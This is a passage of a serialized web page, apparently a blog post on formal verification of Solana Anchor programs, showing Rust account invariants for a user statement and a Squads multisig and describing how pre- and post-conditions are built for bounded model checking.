u64,\n}\n",[22067],{"type":22,"tag":257,"props":22068,"children":22069},{"__ignoreMap":7},[22070,22078,22086,22120,22127,22143,22169,22193,22217],{"type":22,"tag":264,"props":22071,"children":22072},{"class":1534,"line":1535},[22073],{"type":22,"tag":264,"props":22074,"children":22075},{"style":1539},[22076],{"type":27,"value":22077},"#[account]\n",{"type":22,"tag":264,"props":22079,"children":22080},{"class":1534,"line":1545},[22081],{"type":22,"tag":264,"props":22082,"children":22083},{"style":1539},[22084],{"type":27,"value":22085},"#[invariant(\n",{"type":22,"tag":264,"props":22087,"children":22088},{"class":1534,"line":1560},[22089,22094,22098,22103,22107,22111,22115],{"type":22,"tag":264,"props":22090,"children":22091},{"style":1539},[22092],{"type":27,"value":22093},"    self",{"type":22,"tag":264,"props":22095,"children":22096},{"style":4309},[22097],{"type":27,"value":210},{"type":22,"tag":264,"props":22099,"children":22100},{"style":1539},[22101],{"type":27,"value":22102},"assets ",{"type":22,"tag":264,"props":22104,"children":22105},{"style":4309},[22106],{"type":27,"value":11242},{"type":22,"tag":264,"props":22108,"children":22109},{"style":1539},[22110],{"type":27,"value":15096},{"type":22,"tag":264,"props":22112,"children":22113},{"style":4309},[22114],{"type":27,"value":210},{"type":22,"tag":264,"props":22116,"children":22117},{"style":1539},[22118],{"type":27,"value":22119},"liabilities\n",{"type":22,"tag":264,"props":22121,"children":22122},{"class":1534,"line":1569},[22123],{"type":22,"tag":264,"props":22124,"children":22125},{"style":1539},[22126],{"type":27,"value":21565},{"type":22,"tag":264,"props":22128,"children":22129},{"class":1534,"line":1583},[22130,22134,22139],{"type":22,"tag":264,"props":22131,"children":22132},{"style":4293},[22133],{"type":27,"value":10699},{"type":22,"tag":264,"props":22135,"children":22136},{"style":4722},[22137],{"type":27,"value":22138}," UserStatement",{"type":22,"tag":264,"props":22140,"children":22141},{"style":1539},[22142],{"type":27,"value":4594},{"type":22,"tag":264,"props":22144,"children":22145},{"class":1534,"line":1603},[22146,22151,22156,22160,22165],{"type":22,"tag":264,"props":22147,"children":22148},{"style":4293},[22149],{"type":27,"value":22150},"    pub",{"type":22,"tag":264,"props":22152,"children":22153},{"style":1549},[22154],{"type":27,"value":22155}," owner",{"type":22,"tag":264,"props":22157,"children":22158},{"style":4309},[22159],{"type":27,"value":5785},{"type":22,"tag":264,"props":22161,"children":22162},{"style":4722},[22163],{"type":27,"value":22164}," Pubkey",{"type":22,"tag":264,"props":22166,"children":22167},{"style":1539},[22168],{"type":27,"value":4812},{"type":22,"tag":264,"props":22170,"children":22171},{"class":1534,"line":1612},[22172,22176,22181,22185,22189],{"type":22,"tag":264,"props":22173,"children":22174},{"style":4293},[22175],{"type":27,"value":22150},{"type":22,"tag":264,"props":22177,"children":22178},{"style":1549},[22179],{"type":27,"value":22180}," assets",{"type":22,"tag":264,"props":22182,"children":22183},{"style":4309},[22184],{"type":27,"value":5785},{"type":22,"tag":264,"props":22186,"children":22187},{"style":4722},[22188],{"type":27,"value":7151},{"type":22,"tag":264,"props":22190,"children":22191},{"style":1539},[22192],{"type":27,"value":4812},{"type":22,"tag":264,"props":22194,"children":22195},{"class":1534,"line":1621},[22196,22200,22205,22209,22213],{"type":22,"tag":264,"props":22197,"children":22198},{"style":4293},[22199],{"type":27,"value":22150},{"type":22,"tag":264,"props":22201,"children":22202},{"style":1549},[22203],{"type":27,"value":22204}," liabilities",{"type":22,"tag":264,"props":22206,"children":22207},{"style":4309},[22208],{"type":27,"value":5785},{"type":22,"tag":264,"props":22210,"children":22211},{"style":4722},[22212],{"type":27,"value":7151},{"type":22,"tag":264,"props":22214,"children":22215},{"style":1539},[22216],{"type":27,"value":4812},{"type":22,"tag":264,"props":22218,"children":22219},{"class":1534,"line":1629},[22220],{"type":22,"tag":264,"props":22221,"children":22222},{"style":1539},[22223],{"type":27,"value":1692},{"type":22,"tag":23,"props":22225,"children":22226},{},[22227,22229,22234],{"type":27,"value":22228},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":22,"tag":257,"props":22230,"children":22232},{"className":22231},[],[22233],{"type":27,"value":22060},{"type":27,"value":22235}," is created or modified.",{"type":22,"tag":23,"props":22237,"children":22238},{},[22239,22241,22247],{"type":27,"value":22240},"In another example, we developed the following invariant for the ",{"type":22,"tag":69,"props":22242,"children":22244},{"href":20128,"rel":22243},[73],[22245],{"type":27,"value":22246},"Squads Multisig",{"type":27,"value":22248}," wallet account:",{"type":22,"tag":618,"props":22250,"children":22252},{"code":22251,"language":4273,"meta":7,"className":4274,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[22253],{"type":22,"tag":257,"props":22254,"children":22255},{"__ignoreMap":7},[22256,22263,22270,22300,22359,22388,22440,22447,22468,22498,22528,22558,22587,22617,22647,22676,22716],{"type":22,"tag":264,"props":22257,"children":22258},{"class":1534,"line":1535},[22259],{"type":22,"tag":264,"props":22260,"children":22261},{"style":1539},[22262],{"type":27,"value":22077},{"type":22,"tag":264,"props":22264,"children":22265},{"class":1534,"line":1545},[22266],{"type":22,"tag":264,"props":22267,"children":22268},{"style":1539},[22269],{"type":27,"value":22085},{"type":22,"tag":264,"props":22271,"children":22272},{"class":1534,"line":1560},[22273,22278,22282,22286,22291,22295],{"type":22,"tag":264,"props":22274,"children":22275},{"style":4309},[22276],{"type":27,"value":22277},"    !",{"type":22,"tag":264,"props":22279,"children":22280},{"style":1539},[22281],{"type":27,"value":15012},{"type":22,"tag":264,"props":22283,"children":22284},{"style":4309},[22285],{"type":27,"value":210},{"type":22,"tag":264,"props":22287,"children":22288},{"style":1539},[22289],{"type":27,"value":22290},"keys",{"type":22,"tag":264,"props":22292,"children":22293},{"style":4309},[22294],{"type":27,"value":210},{"type":22,"tag":264,"props":22296,"children":22297},{"style":1539},[22298],{"type":27,"value":22299},"is_empty()\n",{"type":22,"tag":264,"props":22301,"children":22302},{"class":1534,"line":1569},[22303,22307,22312,22316,22320,22324,22329,22333,22338,22342,22347,22351,22355],{"type":22,"tag":264,"props":22304,"children":22305},{"style":4309},[22306],{"type":27,"value":16921},{"type":22,"tag":264,"props":22308,"children":22309},{"style":1539},[22310],{"type":27,"value":22311}," (self",{"type":22,"tag":264,"props":22313,"children":22314},{"style":4309},[22315],{"type":27,"value":210},{"type":22,"tag":264,"props":22317,"children":22318},{"style":1539},[22319],{"type":27,"value":22290},{"type":22,"tag":264,"props":22321,"children":22322},{"style":4309},[22323],{"type":27,"value":210},{"type":22,"tag":264,"props":22325,"children":22326},{"style":1539},[22327],{"type":27,"value":22328},"len() ",{"type":22,"tag":264,"props":22330,"children":22331},{"style":4309},[22332],{"type":27,"value":20720},{"type":22,"tag":264,"props":22334,"children":22335},{"style":4722},[22336],{"type":27,"value":22337}," u16",{"type":22,"tag":264,"props":22339,"children":22340},{"style":4309},[22341],{"type":27,"value":4785},{"type":22,"tag":264,"props":22343,"children":22344},{"style":4722},[22345],{"type":27,"value":22346},"MAX",{"type":22,"tag":264,"props":22348,"children":22349},{"style":4293},[22350],{"type":27,"value":10123},{"type":22,"tag":264,"props":22352,"children":22353},{"style":4722},[22354],{"type":27,"value":15030},{"type":22,"tag":264,"props":22356,"children":22357},{"style":1539},[22358],{"type":27,"value":4463},{"type":22,"tag":264,"props":22360,"children":22361},{"class":1534,"line":1583},[22362,22366,22370,22374,22379,22383],{"type":22,"tag":264,"props":22363,"children":22364},{"style":4309},[22365],{"type":27,"value":16921},{"type":22,"tag":264,"props":22367,"children":22368},{"style":1539},[22369],{"type":27,"value":22311},{"type":22,"tag":264,"props":22371,"children":22372},{"style":4309},[22373],{"type":27,"value":210},{"type":22,"tag":264,"props":22375,"children":22376},{"style":1539},[22377],{"type":27,"value":22378},"threshold ",{"type":22,"tag":264,"props":22380,"children":22381},{"style":4309},[22382],{"type":27,"value":11242},{"type":22,"tag":264,"props":22384,"children":22385},{"style":1539},[22386],{"type":27,"value":22387}," 1)\n",{"type":22,"tag":264,"props":22389,"children":22390},{"class":1534,"line":1603},[22391,22395,22399,22403,22407,22411,22415,22419,22423,22427,22431,22435],{"type":22,"tag":264,"props":22392,"children":22393},{"style":4309},[22394],{"type":27,"value":16921},{"type":22,"tag":264,"props":22396,"children":22397},{"style":1539},[22398],{"type":27,"value":22311},{"type":22,"tag":264,"props":22400,"children":22401},{"style":4309},[22402],{"type":27,"value":210},{"type":22,"tag":264,"props":22404,"children":22405},{"style":1539},[22406],{"type":27,"value":22378},{"type":22,"tag":264,"props":22408,"children":22409},{"style":4293},[22410],{"type":27,"value":10137},{"type":22,"tag":264,"props":22412,"children":22413},{"style":4722},[22414],{"type":27,"value":15030},{"type":22,"tag":264,"props":22416,"children":22417},{"style":4309},[22418],{"type":27,"value":9491},{"type":22,"tag":264,"props":22420,"children":22421},{"style":1539},[22422],{"type":27,"value":15096},{"type":22,"tag":264,"props":22424,"children":22425},{"style":4309},[22426],{"type":27,"value":210},{"type":22,"tag":264,"props":22428,"children":22429},{"style":1539},[22430],{"type":27,"value":22290},{"type":22,"tag":264,"props":22432,"children":22433},{"style":4309},[22434],{"type":27,"value":210},{"type":22,"tag":264,"props":22436,"children":22437},{"style":1539},[22438],{"type":27,"value":22439},"len())\n",{"type":22,"tag":264,"props":22441,"children":22442},{"class":1534,"line":1612},[22443],{"type":22,"tag":264,"props":22444,"children":22445},{"style":1539},[22446],{"type":27,"value":21565},{"type":22,"tag":264,"props":22448,"children":22449},{"class":1534,"line":1621},[22450,22454,22459,22464],{"type":22,"tag":264,"props":22451,"children":22452},{"style":4293},[22453],{"type":27,"value":14989},{"type":22,"tag":264,"props":22455,"children":22456},{"style":4293},[22457],{"type":27,"value":22458}," struct",{"type":22,"tag":264,"props":22460,"children":22461},{"style":4722},[22462],{"type":27,"value":22463}," Ms",{"type":22,"tag":264,"props":22465,"children":22466},{"style":1539},[22467],{"type":27,"value":4594},{"type":22,"tag":264,"props":22469,"children":22470},{"class":1534,"line":1629},[22471,22475,22480,22484,22488,22493],{"type":22,"tag":264,"props":22472,"children":22473},{"style":4293},[22474],{"type":27,"value":22150},{"type":22,"tag":264,"props":22476,"children":22477},{"style":1549},[22478],{"type":27,"value":22479}," threshold",{"type":22,"tag":264,"props":22481,"children":22482},{"style":4309},[22483],{"type":27,"value":5785},{"type":22,"tag":264,"props":22485,"children":22486},{"style":4722},[22487],{"type":27,"value":22337},{"type":22,"tag":264,"props":22489,"children":22490},{"style":1539},[22491],{"type":27,"value":22492},",               ",{"type":22,"tag":264,"props":22494,"children":22495},{"style":4284},[22496],{"type":27,"value":22497},"// threshold for signatures\n",{"type":22,"tag":264,"props":22499,"children":22500},{"class":1534,"line":1642},[22501,22505,22510,22514,22518,22523],{"type":22,"tag":264,"props":22502,"children":22503},{"style":4293},[22504],{"type":27,"value":22150},{"type":22,"tag":264,"props":22506,"children":22507},{"style":1549},[22508],{"type":27,"value":22509}," authority_index",{"type":22,"tag":264,"props":22511,"children":22512},{"style":4309},[22513],{"type":27,"value":5785},{"type":22,"tag":264,"props":22515,"children":22516},{"style":4722},[22517],{"type":27,"value":22337},{"type":22,"tag":264,"props":22519,"children":22520},{"style":1539},[22521],{"type":27,"value":22522},",         ",{"type":22,"tag":264,"props":22524,"children":22525},{"style":4284},[22526],{"type":27,"value":22527},"// index to seed other authorities under this multisig\n",{"type":22,"tag":264,"props":22529,"children":22530},{"class":1534,"line":1660},[22531,22535,22540,22544,22548,22553],{"type":22,"tag":264,"props":22532,"children":22533},{"style":4293},[22534],{"type":27,"value":22150},{"type":22,"tag":264,"props":22536,"children":22537},{"style":1549},[22538],{"type":27,"value":22539}," transaction_index",{"type":22,"tag":264,"props":22541,"children":22542},{"style":4309},[22543],{"type":27,"value":5785},{"type":22,"tag":264,"props":22545,"children":22546},{"style":4722},[22547],{"type":27,"value":18852},{"type":22,"tag":264,"props":22549,"children":22550},{"style":1539},[22551],{"type":27,"value":22552},",       ",{"type":22,"tag":264,"props":22554,"children":22555},{"style":4284},[22556],{"type":27,"value":22557},"// look up and seed reference for transactions\n",{"type":22,"tag":264,"props":22559,"children":22560},{"class":1534,"line":1668},[22561,22565,22570,22574,22578,22582],{"type":22,"tag":264,"props":22562,"children":22563},{"style":4293},[22564],{"type":27,"value":22150},{"type":22,"tag":264,"props":22566,"children":22567},{"style":1549},[22568],{"type":27,"value":22569}," ms_change_index",{"type":22,"tag":264,"props":22571,"children":22572},{"style":4309},[22573],{"type":27,"value":5785},{"type":22,"tag":264,"props":22575,"children":22576},{"style":4722},[22577],{"type":27,"value":18852},{"type":22,"tag":264,"props":22579,"children":22580},{"style":1539},[22581],{"type":27,"value":22522},{"type":22,"tag":264,"props":22583,"children":22584},{"style":4284},[22585],{"type":27,"value":22586},"// the last executed/closed transaction\n",{"type":22,"tag":264,"props":22588,"children":22589},{"class":1534,"line":1677},[22590,22594,22599,22603,22607,22612],{"type":22,"tag":264,"props":22591,"children":22592},{"style":4293},[22593],{"type":27,"value":22150},{"type":22,"tag":264,"props":22595,"children":22596},{"style":1549},[22597],{"type":27,"value":22598}," bump",{"type":22,"tag":264,"props":22600,"children":22601},{"style":4309},[22602],{"type":27,"value":5785},{"type":22,"tag":264,"props":22604,"children":22605},{"style":4722},[22606],{"type":27,"value":15933},{"type":22,"tag":264,"props":22608,"children":22609},{"style":1539},[22610],{"type":27,"value":22611},",                     ",{"type":22,"tag":264,"props":22613,"children":22614},{"style":4284},[22615],{"type":27,"value":22616},"// bump for the multisig seed\n",{"type":22,"tag":264,"props":22618,"children":22619},{"class":1534,"line":1686},[22620,22624,22629,22633,22637,22642],{"type":22,"tag":264,"props":22621,"children":22622},{"style":4293},[22623],{"type":27,"value":22150},{"type":22,"tag":264,"props":22625,"children":22626},{"style":1549},[22627],{"type":27,"value":22628}," create_key",{"type":22,"tag":264,"props":22630,"children":22631},{"style":4309},[22632],{"type":27,"value":5785},{"type":22,"tag":264,"props":22634,"children":22635},{"style":4722},[22636],{"type":27,"value":22164},{"type":22,"tag":264,"props":22638,"children":22639},{"style":1539},[22640],{"type":27,"value":22641},",           ",{"type":22,"tag":264,"props":22643,"children":22644},{"style":4284},[22645],{"type":27,"value":22646},"// random key(or not) used to seed the multisig pda\n",{"type":22,"tag":264,"props":22648,"children":22649},{"class":1534,"line":4948},[22650,22654,22659,22663,22667,22671],{"type":22,"tag":264,"props":22651,"children":22652},{"style":4293},[22653],{"type":27,"value":22150},{"type":22,"tag":264,"props":22655,"children":22656},{"style":1549},[22657],{"type":27,"value":22658}," allow_external_execute",{"type":22,"tag":264,"props":22660,"children":22661},{"style":4309},[22662],{"type":27,"value":5785},{"type":22,"tag":264,"props":22664,"children":22665},{"style":4722},[22666],{"type":27,"value":13349},{"type":22,"tag":264,"props":22668,"children":22669},{"style":1539},[22670],{"type":27,"value":4380},{"type":22,"tag":264,"props":22672,"children":22673},{"style":4284},[22674],{"type":27,"value":22675},"// allow non-member keys to execute txs\n",{"type":22,"tag":264,"props":22677,"children":22678},{"class":1534,"line":4957},[22679,22683,22688,22692,22697,22701,22706,22711],{"type":22,"tag":264,"props":22680,"children":22681},{"style":4293},[22682],{"type":27,"value":22150},{"type":22,"tag":264,"props":22684,"children":22685},{"style":1549},[22686],{"type":27,"value":22687}," keys",{"type":22,"tag":264,"props":22689,"children":22690},{"style":4309},[22691],{"type":27,"value":5785},{"type":22,"tag":264,"props":22693,"children":22694},{"style":4722},[22695],{"type":27,"value":22696}," Vec",{"type":22,"tag":264,"props":22698,"children":22699},{"style":1539},[22700],{"type":27,"value":7097},{"type":22,"tag":264,"props":22702,"children":22703},{"style":4722},[22704],{"type":27,"value":22705},"Pubkey",{"type":22,"tag":264,"props":22707,"children":22708},{"style":1539},[22709],{"type":27,"value":22710},">,            ",{"type":22,"tag":264,"props":22712,"children":22713},{"style":4284},[22714],{"type":27,"value":22715},"// keys of the members\n",{"type":22,"tag":264,"props":22717,"children":22718},{"class":1534,"line":4980},[22719],{"type":22,"tag":264,"props":22720,"children":22721},{"style":1539},[22722],{"type":27,"value":1692},{"type":22,"tag":23,"props":22724,"children":22725},{},[22726],{"type":27,"value":22727},"Here we are verifying multiple things at once:",{"type":22,"tag":17988,"props":22729,"children":22730},{},[22731,22742,22753,22764],{"type":22,"tag":1871,"props":22732,"children":22733},{},[22734,22740],{"type":22,"tag":257,"props":22735,"children":22737},{"className":22736},[],[22738],{"type":27,"value":22739},"!self.keys.is_empty()",{"type":27,"value":22741}," : ensure there is at least one member",{"type":22,"tag":1871,"props":22743,"children":22744},{},[22745,22751],{"type":22,"tag":257,"props":22746,"children":22748},{"className":22747},[],[22749],{"type":27,"value":22750},"self.keys.len() \u003C= u16::MAX as usize",{"type":27,"value":22752}," : set an upper limit of 65535 members",{"type":22,"tag":1871,"props":22754,"children":22755},{},[22756,22762],{"type":22,"tag":257,"props":22757,"children":22759},{"className":22758},[],[22760],{"type":27,"value":22761},"self.threshold >= 1",{"type":27,"value":22763}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":22,"tag":1871,"props":22765,"children":22766},{},[22767,22773],{"type":22,"tag":257,"props":22768,"children":22770},{"className":22769},[],[22771],{"type":27,"value":22772},"self.threshold as usize \u003C= self.keys.len()",{"type":27,"value":22774}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":22,"tag":169,"props":22776,"children":22778},{"id":22777},"verification-how-do-we-check-that-our-model-is-correct",[22779],{"type":27,"value":22780},"Verification: How do we check that our model is correct?",{"type":22,"tag":23,"props":22782,"children":22783},{},[22784,22786,22790,22792,22797],{"type":27,"value":22785},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":22,"tag":1699,"props":22787,"children":22788},{},[22789],{"type":27,"value":21275},{"type":27,"value":22791}," on which we can run bounded model checking. Our tool does this ",{"type":22,"tag":1699,"props":22793,"children":22794},{},[22795],{"type":27,"value":22796},"automagically",{"type":27,"value":22798}," for anchor-lang programs.",{"type":22,"tag":23,"props":22800,"children":22801},{},[22802,22804,22810,22812,22817,22819,22824,22825,22830,22832,22837,22839,22844,22845,22851,22853,22859,22860,22866],{"type":27,"value":22803},"Specifically, for a given ",{"type":22,"tag":257,"props":22805,"children":22807},{"className":22806},[],[22808],{"type":27,"value":22809},"Context\u003CT>",{"type":27,"value":22811}," with ",{"type":22,"tag":1699,"props":22813,"children":22814},{},[22815],{"type":27,"value":22816},"incoming",{"type":27,"value":22818}," accounts of types (",{"type":22,"tag":257,"props":22820,"children":22822},{"className":22821},[],[22823],{"type":27,"value":22047},{"type":27,"value":2891},{"type":22,"tag":257,"props":22826,"children":22828},{"className":22827},[],[22829],{"type":27,"value":5035},{"type":27,"value":22831},") and ",{"type":22,"tag":1699,"props":22833,"children":22834},{},[22835],{"type":27,"value":22836},"outgoing",{"type":27,"value":22838}," accounts of type (",{"type":22,"tag":257,"props":22840,"children":22842},{"className":22841},[],[22843],{"type":27,"value":5035},{"type":27,"value":2891},{"type":22,"tag":257,"props":22846,"children":22848},{"className":22847},[],[22849],{"type":27,"value":22850},"close",{"type":27,"value":22852},") we define a ",{"type":22,"tag":257,"props":22854,"children":22856},{"className":22855},[],[22857],{"type":27,"value":22858},"pre_condition",{"type":27,"value":12290},{"type":22,"tag":257,"props":22861,"children":22863},{"className":22862},[],[22864],{"type":27,"value":22865},"post_condition",{"type":27,"value":22867}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":22,"tag":23,"props":22869,"children":22870},{},[22871],{"type":22,"tag":257,"props":22872,"children":22874},{"className":22873},[260,261],[22875],{"type":22,"tag":264,"props":22876,"children":22878},{"className":22877},[267],[22879],{"type":22,"tag":264,"props":22880,"children":22882},{"className":22881,"ariaHidden":273},[272],[22883,22917],{"type":22,"tag":264,"props":22884,"children":22886},{"className":22885},[278],[22887,22891,22898,22903,22907,22913],{"type":22,"tag":264,"props":22888,"children":22890},{"className":22889,"style":441},[283],[],{"type":22,"tag":264,"props":22892,"children":22895},{"className":22893,"style":22894},[289,2178],"margin-right:0.13889em;",[22896],{"type":27,"value":22897},"P",{"type":22,"tag":264,"props":22899,"children":22901},{"className":22900},[289],[22902],{"type":27,"value":5334},{"type":22,"tag":264,"props":22904,"children":22906},{"className":22905,"style":421},[420],[],{"type":22,"tag":264,"props":22908,"children":22910},{"className":22909},[426],[22911],{"type":27,"value":22912},":=",{"type":22,"tag":264,"props":22914,"children":22916},{"className":22915,"style":421},[420],[],{"type":22,"tag":264,"props":22918,"children":22920},{"className":22919},[278],[22921,22926,23061,23065],{"type":22,"tag":264,"props":22922,"children":22925},{"className":22923,"style":22924},[283],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":22,"tag":264,"props":22927,"children":22930},{"className":22928},[22929],"mop",[22931,22940],{"type":22,"tag":264,"props":22932,"children":22937},{"className":22933,"style":22936},[22929,22934,22935],"op-symbol","small-op","position:relative;top:0em;",[22938],{"type":27,"value":22939},"⋀",{"type":22,"tag":264,"props":22941,"children":22943},{"className":22942},[2147],[22944],{"type":22,"tag":264,"props":22945,"children":22947},{"className":22946},[305,306],[22948,23049],{"type":22,"tag":264,"props":22949,"children":22951},{"className":22950},[311],[22952,23044],{"type":22,"tag":264,"props":22953,"children":22956},{"className":22954,"style":22955},[316],"height:0.2253em;",[22957],{"type":22,"tag":264,"props":22958,"children":22960},{"style":22959},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[22961,22965],{"type":22,"tag":264,"props":22962,"children":22964},{"className":22963,"style":2169},[326],[],{"type":22,"tag":264,"props":22966,"children":22968},{"className":22967},[332,333,334,335],[22969],{"type":22,"tag":264,"props":22970,"children":22972},{"className":22971},[289,335],[22973,22978,22984,22994,23000,23009,23018,23023,23028,23034,23039],{"type":22,"tag":264,"props":22974,"children":22976},{"className":22975},[289,2178,335],[22977],{"type":27,"value":69},{"type":22,"tag":264,"props":22979,"children":22981},{"className":22980},[289,2178,335],[22982],{"type":27,"value":22983},"cc",{"type":22,"tag":264,"props":22985,"children":22987},{"className":22986},[420,335],[22988],{"type":22,"tag":264,"props":22989,"children":22991},{"className":22990},[335],[22992],{"type":27,"value":22993}," ",{"type":22,"tag":264,"props":22995,"children":22997},{"className":22996},[426,335],[22998],{"type":27,"value":22999},"∈",{"type":22,"tag":264,"props":23001,"children":23003},{"className":23002},[420,335],[23004],{"type":22,"tag":264,"props":23005,"children":23007},{"className":23006},[335],[23008],{"type":27,"value":22993},{"type":22,"tag":264,"props":23010,"children":23012},{"className":23011},[289,27,335],[23013],{"type":22,"tag":264,"props":23014,"children":23016},{"className":23015},[289,335],[23017],{"type":27,"value":22816},{"type":22,"tag":264,"props":23019,"children":23021},{"className":23020},[294,335],[23022],{"type":27,"value":2660},{"type":22,"tag":264,"props":23024,"children":23026},{"className":23025},[289,2178,335],[23027],{"type":27,"value":4449},{"type":22,"tag":264,"props":23029,"children":23031},{"className":23030},[289,2178,335],[23032],{"type":27,"value":23033},"t",{"type":22,"tag":264,"props":23035,"children":23037},{"className":23036},[289,2178,335],[23038],{"type":27,"value":20581},{"type":22,"tag":264,"props":23040,"children":23042},{"className":23041},[415,335],[23043],{"type":27,"value":2806},{"type":22,"tag":264,"props":23045,"children":23047},{"className":23046},[396],[23048],{"type":27,"value":399},{"type":22,"tag":264,"props":23050,"children":23052},{"className":23051},[311],[23053],{"type":22,"tag":264,"props":23054,"children":23057},{"className":23055,"style":23056},[316],"height:0.4747em;",[23058],{"type":22,"tag":264,"props":23059,"children":23060},{},[],{"type":22,"tag":264,"props":23062,"children":23064},{"className":23063,"style":5427},[420],[],{"type":22,"tag":264,"props":23066,"children":23068},{"className":23067},[289],[23069,23079,23084,23089,23094],{"type":22,"tag":264,"props":23070,"children":23072},{"className":23071},[289,27],[23073],{"type":22,"tag":264,"props":23074,"children":23076},{"className":23075},[289],[23077],{"type":27,"value":23078},"invariant",{"type":22,"tag":264,"props":23080,"children":23082},{"className":23081},[294],[23083],{"type":27,"value":2660},{"type":22,"tag":264,"props":23085,"children":23087},{"className":23086},[289,2178],[23088],{"type":27,"value":69},{"type":22,"tag":264,"props":23090,"children":23092},{"className":23091},[289,2178],[23093],{"type":27,"value":22983},{"type":22,"tag":264,"props":23095,"children":23097},{"className":23096},[415],[23098],{"type":27,"value":2806},{"type":22,"tag":23,"props":23100,"children":23101},{},[23102],{"type":22,"tag":257,"props":23103,"children":23105},{"className":23104},[260,261],[23106],{"type":22,"tag":264,"props":23107,"children":23109},{"className":23108},[267],[23110],{"type":22,"tag":264,"props":23111,"children":23113},{"className":23112,"ariaHidden":273},[272],[23114,23145],{"type":22,"tag":264,"props":23115,"children":23117},{"className":23116},[278],[23118,23122,23127,23132,23136,23141],{"type":22,"tag":264,"props":23119,"children":23121},{"className":23120,"style":441},[283],[],{"type":22,"tag":264,"props":23123,"children":23125},{"className":23124,"style":22894},[289,2178],[23126],{"type":27,"value":22897},{"type":22,"tag":264,"props":23128,"children":23130},{"className":23129},[289],[23131],{"type":27,"value":602},{"type":22,"tag":264,"props":23133,"children":23135},{"className":23134,"style":421},[420],[],{"type":22,"tag":264,"props":23137,"children":23139},{"className":23138},[426],[23140],{"type":27,"value":22912},{"type":22,"tag":264,"props":23142,"children":23144},{"className":23143,"style":421},[420],[],{"type":22,"tag":264,"props":23146,"children":23148},{"className":23147},[278],[23149,23153,23276,23280],{"type":22,"tag":264,"props":23150,"children":23152},{"className":23151,"style":22924},[283],[],{"type":22,"tag":264,"props":23154,"children":23156},{"className":23155},[22929],[23157,23162],{"type":22,"tag":264,"props":23158,"children":23160},{"className":23159,"style":22936},[22929,22934,22935],[23161],{"type":27,"value":22939},{"type":22,"tag":264,"props":23163,"children":23165},{"className":23164},[2147],[23166],{"type":22,"tag":264,"props":23167,"children":23169},{"className":23168},[305,306],[23170,23265],{"type":22,"tag":264,"props":23171,"children":23173},{"className":23172},[311],[23174,23260],{"type":22,"tag":264,"props":23175,"children":23177},{"className":23176,"style":22955},[316],[23178],{"type":22,"tag":264,"props":23179,"children":23180},{"style":22959},[23181,23185],{"type":22,"tag":264,"props":23182,"children":23184},{"className":23183,"style":2169},[326],[],{"type":22,"tag":264,"props":23186,"children":23188},{"className":23187},[332,333,334,335],[23189],{"type":22,"tag":264,"props":23190,"children":23192},{"className":23191},[289,335],[23193,23198,23203,23212,23217,23226,23235,23240,23245,23250,23255],{"type":22,"tag":264,"props":23194,"children":23196},{"className":23195},[289,2178,335],[23197],{"type":27,"value":69},{"type":22,"tag":264,"props":23199,"children":23201},{"className":23200},[289,2178,335],[23202],{"type":27,"value":22983},{"type":22,"tag":264,"props":23204,"children":23206},{"className":23205},[420,335],[23207],{"type":22,"tag":264,"props":23208,"children":23210},{"className":23209},[335],[23211],{"type":27,"value":22993},{"type":22,"tag":264,"props":23213,"children":23215},{"className":23214},[426,335],[23216],{"type":27,"value":22999},{"type":22,"tag":264,"props":23218,"children":23220},{"className":23219},[420,335],[23221],{"type":22,"tag":264,"props":23222,"children":23224},{"className":23223},[335],[23225],{"type":27,"value":22993},{"type":22,"tag":264,"props":23227,"children":23229},{"className":23228},[289,27,335],[23230],{"type":22,"tag":264,"props":23231,"children":23233},{"className":23232},[289,335],[23234],{"type":27,"value":22836},{"type":22,"tag":264,"props":23236,"children":23238},{"className":23237},[294,335],[23239],{"type":27,"value":2660},{"type":22,"tag":264,"props":23241,"children":23243},{"className":23242},[289,2178,335],[23244],{"type":27,"value":4449},{"type":22,"tag":264,"props":23246,"children":23248},{"className":23247},[289,2178,335],[23249],{"type":27,"value":23033},{"type":22,"tag":264,"props":23251,"children":23253},{"className":23252},[289,2178,335],[23254],{"type":27,"value":20581},{"type":22,"tag":264,"props":23256,"children":23258},{"className":23257},[415,335],[23259],{"type":27,"value":2806},{"type":22,"tag":264,"props":23261,"children":23263},{"className":23262},[396],[23264],{"type":27,"value":399},{"type":22,"tag":264,"props":23266,"children":23268},{"className":23267},[311],[23269],{"type":22,"tag":264,"props":23270,"children":23272},{"className":23271,"style":23056},[316],[23273],{"type":22,"tag":264,"props":23274,"children":23275},{},[],{"type":22,"tag":264,"props":23277,"children":23279},{"className":23278,"style":5427},[420],[],{"type":22,"tag":264,"props":23281,"children":23283},{"className":23282},[289],[23284,23293,23298,23303,23308],{"type":22,"tag":264,"props":23285,"children":23287},{"className":23286},[289,27],[23288],{"type":22,"tag":264,"props":23289,"children":23291},{"className":23290},[289],[23292],{"type":27,"value":23078},{"type":22,"tag":264,"props":23294,"children":23296},{"className":23295},[294],[23297],{"type":27,"value":2660},{"type":22,"tag":264,"props":23299,"children":23301},{"className":23300},[289,2178],[23302],{"type":27,"value":69},{"type":22,"tag":264,"props":23304,"children":23306},{"className":23305},[289,2178],[23307],{"type":27,"value":22983},{"type":22,"tag":264,"props":23309,"children":23311},{"className":23310},[415],[23312],{"type":27,"value":2806},{"type":22,"tag":23,"props":23314,"children":23315},{},[23316],{"type":27,"value":23317},"Our instruction invariants are represented 